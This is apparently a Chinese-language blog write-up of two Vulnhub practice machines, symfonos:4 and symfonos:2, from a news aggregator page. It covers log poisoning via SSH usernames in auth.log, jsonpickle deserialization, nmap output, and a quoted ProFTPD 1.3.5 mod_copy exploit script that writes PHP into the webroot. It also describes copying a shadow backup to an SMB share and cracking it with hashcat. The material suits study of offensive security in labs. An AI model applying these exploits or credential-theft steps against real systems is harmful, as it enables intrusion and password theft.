当前位置: 首页 > news >正文

【Vulnhub】symfonos: 4 2 总结

两台OSCP类型靶机,简单总结一下关键点

symfonos: 4

这个靶机最重要的有两个地方

投毒

第一就是文件包含,但是限制了后缀名必须为.log,看得到被恶意使用的潜力

突破这类限制有两种形式,一种是直接“强行”突破,让它的限制失效,比如%00截断;第二种就是“妥协”一点,比如这里的道路就是在他的限制内寻找利用的方式,也可以说是利用规则,或者说钻规则的空子,相比于前者,这种方式的侮辱性更强。

既然选择妥协,那么就要尽全力寻找规则内可以利用的事物,本身就含有恶意代码的.log文件再稍微反应一下后就可以排除掉了,剩下就是要找到一种方式让用户控制的输入内容与此连接,为什么要特意强调这个过程,因为这个过程可能不会太明显,用户输入的位置和真正的执行位置可以看起来没有任何联系,而且在内部,用户输入经过执行的位置可能会有层层工序,总之就是不明显

这里可以想到apache的日志文件access.log,它会记录访问的url和几个http头,如果在其中加入php代码再包含就成功执行系统命令了,但是这里access.log没有权限读,而是auth.log可以被读取,它会记录ssh连接的信息,比如用户名,可以在用户名中写php代码然后包含就能成功执行系统命令

jsonpickle反序列化

不管执行执行什么样的命令,都会500报错,命令也没有执行,就连简单的在/tmp下创建文件都做不到,所以一直以为是__reduce__方法被禁用了,换了几种后仍然不行

最后得知可以成功执行反弹shell的命令

这里的锅有两种,一是对flask或者jsonpickle技术原理上的不深入理解,二就是没有try harder

symfonos: 2

端口信息


sudo nmap -sT -A -Pn -p21,22,80,139,445 192.168.56.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-11 08:44 CST
Nmap scan report for 192.168.56.110 (192.168.56.110)
Host is up (0.0012s latency).PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.5
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA)
|   256 04:2a:bb:06:56:ea:d1:93:1c:d2:78:0a:00:46:9d:85 (ECDSA)
|_  256 28:ad:ac:dc:7e:2a:1c:f6:4c:6b:47:f2:d6:22:5b:52 (ED25519)
80/tcp  open  http        WebFS httpd 1.21
|_http-server-header: webfs/1.21
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:B9:59:7C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
| smb2-time: 
|   date: 2025-08-11T00:44:28
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos2
|   NetBIOS computer name: SYMFONOS2\x00
|   Domain name: \x00
|   FQDN: symfonos2
|_  System time: 2025-08-10T19:44:28-05:00TRACEROUTE
HOP RTT     ADDRESS
1   1.15 ms 192.168.56.110 (192.168.56.110)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds

匿名登录到smb下载log.txt,内容貌似是一些命令执行的记录,可以看到第一个命令把shadow进行了备份,下面则是查看了smb和ftp的配置文件,一般来讲不会特别确定哪一部分是有重大作用的,或者说整个文件都只是misdirection,但是无论如何都必须将这个信息给保存,以便在之后陷入僵局时把所有收集到的信息整体地观察,发现它们之间的联系


root@symfonos2:~# cat /etc/shadow > /var/backups/shadow.bak
root@symfonos2:~# cat /etc/samba/smb.conf
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which 
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
#  - When such options are commented with ";", the proposed setting
#    differs from the default Samba behaviour
#  - When commented with "#", the proposed setting is the default
#    behaviour of Samba but the option is considered important
#    enough to be mentioned here
#
# NOTE: Whenever you modify this file ...

在这之后,根据80端口和21端口的指纹信息做了公开漏洞利用的查找

80端口用searchsploit找到了一个漏洞,虽然是远程漏洞利用,但却是C语言写的,编译时报了很多错误,于是暂时放下,看看21端口的服务有没有历史漏洞

ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)这个漏洞利用脚本是用python写的,但是直接运行会失败,提示没有权限

220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.110]350 File or directory exists, ready for destination name550 cpto: Permission denied350 File or directory exists, ready for destination name550 cpto: Permission denied

由于对ftp和漏洞的不熟悉,当时并不清楚这个提示的具体含义,只知道失败了,现在不能放弃,只是和之前一样暂时放下,用另一个同一个漏洞的早一点的利用脚本再尝试,同样失败,不过任然还不能放弃,特别是在不清楚失败的原因的时候。为了弄清楚原因,开始阅读脚本的代码


client.connect((target,21)) # Connecting to the target serverbanner = client.recv(74)print(banner.decode())client.send(b'site cpfr /etc/passwd\r\n')print(client.recv(1024).decode())client.send(b'site cpto <?php phpinfo(); ?>\r\n') # phpinfo() is just a PoC.print(client.recv(1024).decode())client.send(b'site cpfr /proc/self/fd/3\r\n')print(client.recv(1024).decode())client.send(b'site cpto /var/www/html/test.php\r\n')print(client.recv(1024).decode())client.close()print('Exploit Completed')

在网上查资料后,明白了cpfr和cpto两条命令的含义,这时再结合之前的错误提示,那么可以肯定就是没有写的权限,但是真的是所有文件和目录都不能写吗?这时是不能这样下结论的,事实也确实是只是没有对/proc/self/df/3的写权限

这里和之前sym4的场景非常像,由于在/tmp目录下用touch创建文件都做不到,就断定这里所有命令都是不能执行的,其实偏偏就是反弹shell能够执行。当然这种事情如果知道技术细节和原理就都是理所当然的小事,相比之下之前那样可能会显得投机取巧,但是这种习惯和思考的方式还是很有必要掌握的,毕竟不是所有技术原理在头一回遇到都是可以立刻掌握的

这时就可以联动之前的信息,也就是log.txt中shadow的备份,当然这里还体现不出记录的重要性,可放在现实世界里,在海量的信息中很容易忘记之前不起眼的关键点。把shadow.bak拷贝到smb匿名共享的目录中(log.txt中的smb配置文件中有),然后下载下来,用hashcat破解,成功破解了aeolus的密码

之后就简单了,本地的8080端口有一个web应用程序,并且存在一个漏洞,用socat端口转发后,在攻击机上运行漏洞利用脚本就拿下root

http://www.aitangshan.cn/news/264.html

相关文章:

  • [PaperReading] Helix: A Vision-Language-Action Model for Generalist Humanoid Control
  • OI集训 Day26
  • RESTful 风格(详细介绍 + 案例实现)
  • 如何用 AI 智能体开启副业之路?零基础入门指南
  • 休息一天
  • 2025.08.11 杭电8
  • 提升LangChain开发效率:10个被忽视的高效组件,让AI应用性能翻倍
  • 更不是SaaS终结者
  • MD5加密算法详解:原理、实现与应用
  • Kafka生产者事务机制原理 - 指南
  • 为什么数据库连接很消耗资源?
  • 题解:[JOISC 2022] 京都观光
  • 2025.8.11
  • 2025-08-10 模拟赛总结
  • Day40
  • 2025.08.08 HDU 多校ACM
  • Hexo + NexT主题美化GitHub博客
  • 家用机器人指令跟随训练新数据集发布
  • 【2025.8.11】模拟赛
  • STL set、map
  • 今日总结
  • 8.10XS模拟赛
  • 企业经营分析指南:从供产销研运5大维度,用数据找准优化方向 - 智慧园区
  • 软工8.11
  • 补题祭day1
  • 2-SAT 学习报告
  • ces
  • day38
  • CSP-J 模拟1解析
  • 20250811